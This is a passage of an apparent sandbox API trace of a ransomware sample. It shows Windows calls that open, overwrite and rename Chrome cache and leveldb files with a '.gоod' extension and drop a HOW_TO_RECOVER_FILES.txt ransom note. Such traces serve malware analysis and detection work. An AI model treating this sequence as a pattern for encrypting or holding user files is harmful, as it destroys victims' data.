lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0197.463] GetFileType (hFile=0x824) returned 0x1 [0197.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0197.463] GetFileType (hFile=0x824) returned 0x1 [0197.463] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x1000 [0197.463] ReadFile (in: hFile=0x824, lpBuffer=0x374b5b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9fa8, lpOverlapped=0x0 | out: lpBuffer=0x374b5b8*, lpNumberOfBytesRead=0x1f6e9fa8*=0x1000, lpOverlapped=0x0) returned 1 [0197.464] CloseHandle (hObject=0x824) returned 1 [0197.464] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index", lpFilePart=0x0) returned 0x49 [0197.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0197.464] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0197.464] GetFileType (hFile=0x824) returned 0x1 [0197.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0197.464] GetFileType (hFile=0x824) returned 0x1 [0197.464] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x80170 [0197.464] WriteFile (in: hFile=0x824, lpBuffer=0x374c848*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9ec8, lpOverlapped=0x0 | out: lpBuffer=0x374c848*, lpNumberOfBytesWritten=0x1f6e9ec8*=0x10, lpOverlapped=0x0) returned 1 [0197.466] CloseHandle (hObject=0x824) returned 1 [0197.466] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index", lpFilePart=0x0) returned 0x49 [0197.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0197.467] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0197.467] GetFileType (hFile=0x824) returned 0x1 [0197.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0197.467] GetFileType (hFile=0x824) returned 0x1 [0197.467] ReadFile (in: hFile=0x824, lpBuffer=0x374eb00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f58, lpOverlapped=0x0 | out: lpBuffer=0x374eb00*, lpNumberOfBytesRead=0x1f6e9f58*=0x1000, lpOverlapped=0x0) returned 1 [0199.180] CloseHandle (hObject=0x824) returned 1 [0199.180] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index", lpFilePart=0x0) returned 0x49 [0199.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0199.180] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0199.180] GetFileType (hFile=0x824) returned 0x1 [0199.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0199.180] GetFileType (hFile=0x824) returned 0x1 [0199.180] WriteFile (in: hFile=0x824, lpBuffer=0x362bbe8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ea008, lpOverlapped=0x0 | out: lpBuffer=0x362bbe8*, lpNumberOfBytesWritten=0x1f6ea008*=0x1010, lpOverlapped=0x0) returned 1 [0199.180] CloseHandle (hObject=0x824) returned 1 [0199.181] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index", lpFilePart=0x0) returned 0x49 [0199.181] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index.gоod", lpFilePart=0x0) returned 0x4e [0199.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0199.181] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5172d381, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5172d381, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x72ef0edd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x80180)) returned 1 [0199.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0199.181] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index.gоod")) returned 1 [0199.182] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e9c20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0199.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea140) returned 1 [0199.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0199.182] GetFileType (hFile=0x824) returned 0x1 [0199.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0b0) returned 1 [0199.182] GetFileType (hFile=0x824) returned 0x1 [0199.183] WriteFile (in: hFile=0x824, lpBuffer=0x389aea8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ea208, lpOverlapped=0x0 | out: lpBuffer=0x389aea8*, lpNumberOfBytesWritten=0x1f6ea208*=0x5d0, lpOverlapped=0x0) returned 1 [0199.183] CloseHandle (hObject=0x824) returned 1 [0199.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0199.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb", lpFilePart=0x0) returned 0x5a [0199.184] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5179d880, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe76dafa5, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe76dafa5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec862e0 [0199.412] FindNextFileW (in: hFindFile=0x1ec862e0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5179d880, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe76dafa5, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe76dafa5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.413] FindNextFileW (in: hFindFile=0x1ec862e0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7668889, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe7668889, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7668889, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000005.log", cAlternateFileName="")) returned 1 [0199.438] FindNextFileW (in: hFindFile=0x1ec862e0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5192b8e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe76b4d40, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe76b4d40, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0199.438] FindNextFileW (in: hFindFile=0x1ec862e0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x519291cb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x519291cb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x519291cb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0199.438] FindNextFileW (in: hFindFile=0x1ec862e0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x518fab5a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe7642653, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf143f155, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0199.438] FindNextFileW (in: hFindFile=0x1ec862e0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x518fab5a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x518fab5a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x58086a3e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.old", cAlternateFileName="")) returned 1 [0199.439] FindNextFileW (in: hFindFile=0x1ec862e0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7668889, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe7668889, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7668889, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x32, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000004", cAlternateFileName="MANIFE~1")) returned 1 [0199.439] FindNextFileW (in: hFindFile=0x1ec862e0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0199.439] FindClose (in: hFindFile=0x1ec862e0 | out: hFindFile=0x1ec862e0) returned 1 [0199.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0199.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0199.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0199.440] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb", lpFilePart=0x0) returned 0x5a [0199.440] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5179d880, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe76dafa5, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe76dafa5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec85b60 [0199.441] FindNextFileW (in: hFindFile=0x1ec85b60, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5179d880, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe76dafa5, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe76dafa5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.441] FindNextFileW (in: hFindFile=0x1ec85b60, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7668889, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe7668889, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7668889, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000005.log", cAlternateFileName="")) returned 1 [0199.441] FindNextFileW (in: hFindFile=0x1ec85b60, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5192b8e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe76b4d40, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe76b4d40, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0199.441] FindNextFileW (in: hFindFile=0x1ec85b60, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x519291cb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x519291cb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x519291cb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0199.441] FindNextFileW (in: hFindFile=0x1ec85b60, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x518fab5a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe7642653, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf143f155, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0199.441] FindNextFileW (in: hFindFile=0x1ec85b60, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x518fab5a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x518fab5a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x58086a3e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.old", cAlternateFileName="")) returned 1 [0199.442] FindNextFileW (in: hFindFile=0x1ec85b60, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7668889, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe7668889, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7668889, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x32, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000004", cAlternateFileName="MANIFE~1")) returned 1 [0199.442] FindNextFileW (in: hFindFile=0x1ec85b60, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7668889, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe7668889, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7668889, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x32, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000004", cAlternateFileName="MANIFE~1")) returned 0 [0199.442] FindClose (in: hFindFile=0x1ec85b60 | out: hFindFile=0x1ec85b60) returned 1 [0199.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0199.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0199.443] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log", lpFilePart=0x0) returned 0x65 [0199.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0199.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000005.log"), fInfoLevelId=0x0, lpFileInformation=0x392e2f8 | out: lpFileInformation=0x392e2f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7668889, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe7668889, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7668889, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0199.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0199.444] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log", lpFilePart=0x0) returned 0x65 [0199.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0199.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000005.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0199.444] GetFileType (hFile=0x824) returned 0x1 [0199.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0199.444] GetFileType (hFile=0x824) returned 0x1 [0199.444] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x0 [0199.444] CloseHandle (hObject=0x824) returned 1 [0205.380] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log", lpFilePart=0x0) returned 0x65 [0205.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0205.380] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000005.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.381] GetFileType (hFile=0x7f8) returned 0x1 [0205.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0205.381] GetFileType (hFile=0x7f8) returned 0x1 [0205.381] WriteFile (in: hFile=0x7f8, lpBuffer=0x359d160*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x359d160*, lpNumberOfBytesWritten=0x1f6e9e18*=0x10, lpOverlapped=0x0) returned 1 [0205.382] CloseHandle (hObject=0x7f8) returned 1 [0205.382] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log", lpFilePart=0x0) returned 0x65 [0205.382] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log.gоod", lpFilePart=0x0) returned 0x6a [0205.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0205.382] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000005.log"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7668889, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe7668889, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x76a086dc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0205.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0205.383] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000005.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000005.log.gоod")) returned 1 [0205.383] GetFullPathNameW (in: 